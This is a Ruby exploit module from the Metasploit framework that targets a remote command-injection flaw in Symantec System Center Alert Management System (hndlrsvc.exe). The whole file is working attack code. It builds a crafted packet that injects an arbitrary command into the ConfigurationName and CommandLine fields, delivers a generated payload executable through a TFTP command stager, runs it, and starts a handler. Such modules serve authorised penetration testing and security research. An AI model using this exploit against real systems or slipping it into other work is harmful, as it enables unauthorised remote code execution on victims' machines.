metasploit-framework/modules/exploits/windows/antivirus/ams_hndlrsvc.rb

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::CmdStager
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::EXE
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def initialize(info = {})
super(update_info(info,
'Name' => 'Symantec System Center Alert Management System (hndlrsvc.exe) Arbitrary Command Execution',
'Description' => %q{
Symantec System Center Alert Management System is prone to a
remote command-injection vulnerability because the application fails
to properly sanitize user-supplied input.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '66807'],
[ 'BID', '41959' ],
[ 'URL', 'http://www.foofus.net/~spider/code/AMS2_072610.txt' ],
],
'Targets' =>
[
[ 'Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
]
],
'Privileged' => true,
'Platform' => 'win',
'CmdStagerFlavor' => 'tftp',
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'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 26 2010'))
register_options(
[
Opt::RPORT(38292),
OptString.new('CMD', [ false, 'Execute this command instead of using command stager', ""]),
], self.class)
end
def windows_stager
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
execute_cmdstager({ :temp => '.' })
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@payload_exe = generate_payload_exe
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print_status("Attempting to execute the payload...")
execute_command(@payload_exe)
end
def execute_command(cmd, opts = {})
connect
if ( cmd.length > 128 )
fail_with(Failure::Unknown, "Command strings greater then 128 characters will not be processed!")
end
string_uno = Rex::Text.rand_text_alpha_upper(11)
string_dos = Rex::Text.rand_text_alpha_upper(rand(4) + 5)
packet = "\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00"
packet << "\x02\x00\x95\x94\xc0\xa8\x02\x64\x00\x00\x00\x00\x00\x00\x00\x00"
packet << "\xe8\x03\x00\x00"
packet << 'PRGXCNFG'
packet << "\x10\x00\x00\x00"
packet << "\x00\x00\x00\x00\x04"
packet << 'ALHD\F'
packet << "\x00\x00\x01\x00\x00"
packet << "\x00\x01\x00\x0e\x00"
packet << 'Risk Repaired'
packet << "\x00\x25\x00"
packet << 'Symantec Antivirus Corporate Edition'
packet << "\x00\xf9\x1d\x13\x4a\x3f"
packet << [string_uno.length + 1].pack('v') + string_uno
packet << "\x00\x08\x08\x0a"
packet << "\x00" + 'Risk Name'
packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
packet << "\x00" + string_dos
packet << "\x00\x08\x0a\x00"
packet << 'File Path'
packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
packet << "\x00" + string_dos
packet << "\x00\x08\x11\x00"
packet << 'Requested Action'
packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
packet << "\x00" + string_dos
packet << "\x00\x08\x0e\x00"
packet << 'Actual Action'
packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
packet << "\x00" + string_dos
packet << "\x00\x08\x07\x00"
packet << 'Logger'
packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
packet << "\x00" + string_dos
packet << "\x00\x08\x05\x00"
packet << 'User'
packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
packet << "\x00" + string_dos
packet << "\x00\x08\x09\x00"
packet << 'Hostname'
packet << "\x00\x0e\x00" + [string_uno.length + 1].pack('v') + string_uno
packet << "\x00\x08\x13\x00"
packet << 'Corrective Actions'
packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
packet << "\x00" + string_dos
packet << "\x00\x00\x07\x08\x12\x00"
packet << 'ConfigurationName'
packet << [cmd.length + 3].pack('n') + [cmd.length + 1].pack('n')
packet << "\x00" + cmd
packet << "\x00\x08\x0c\x00"
packet << 'CommandLine'
packet << [cmd.length + 3].pack('n') + [cmd.length + 1].pack('n')
packet << "\x00" + cmd
packet << "\x00\x08\x08\x00"
packet << 'RunArgs'
packet << "\x00\x04\x00\x02\x00"
packet << "\x20\x00\x03\x05\x00"
packet << 'Mode'
packet << "\x00\x04\x00\x02\x00\x00\x00"
packet << "\x0a\x0d\x00"
packet << 'FormatString'
packet << "\x00\x02\x00\x00\x00\x08\x12\x00"
packet << 'ConfigurationName'
packet << "\x00\x02\x00\x00\x00\x08\x0c\x00"
packet << 'HandlerHost'
packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
packet << "\x00" + string_dos
packet << "\x00" * packet.length
sock.put(packet)
select(nil,nil,nil,3)
disconnect
end
def exploit
if !datastore['CMD'].blank?
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print_status("Executing command '#{datastore['CMD']}'")
execute_command(datastore['CMD'])
return
end
case target['Platform']
when 'win'
windows_stager
else
fail_with(Failure::Unknown, 'Target not supported.')
end
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handler
end
end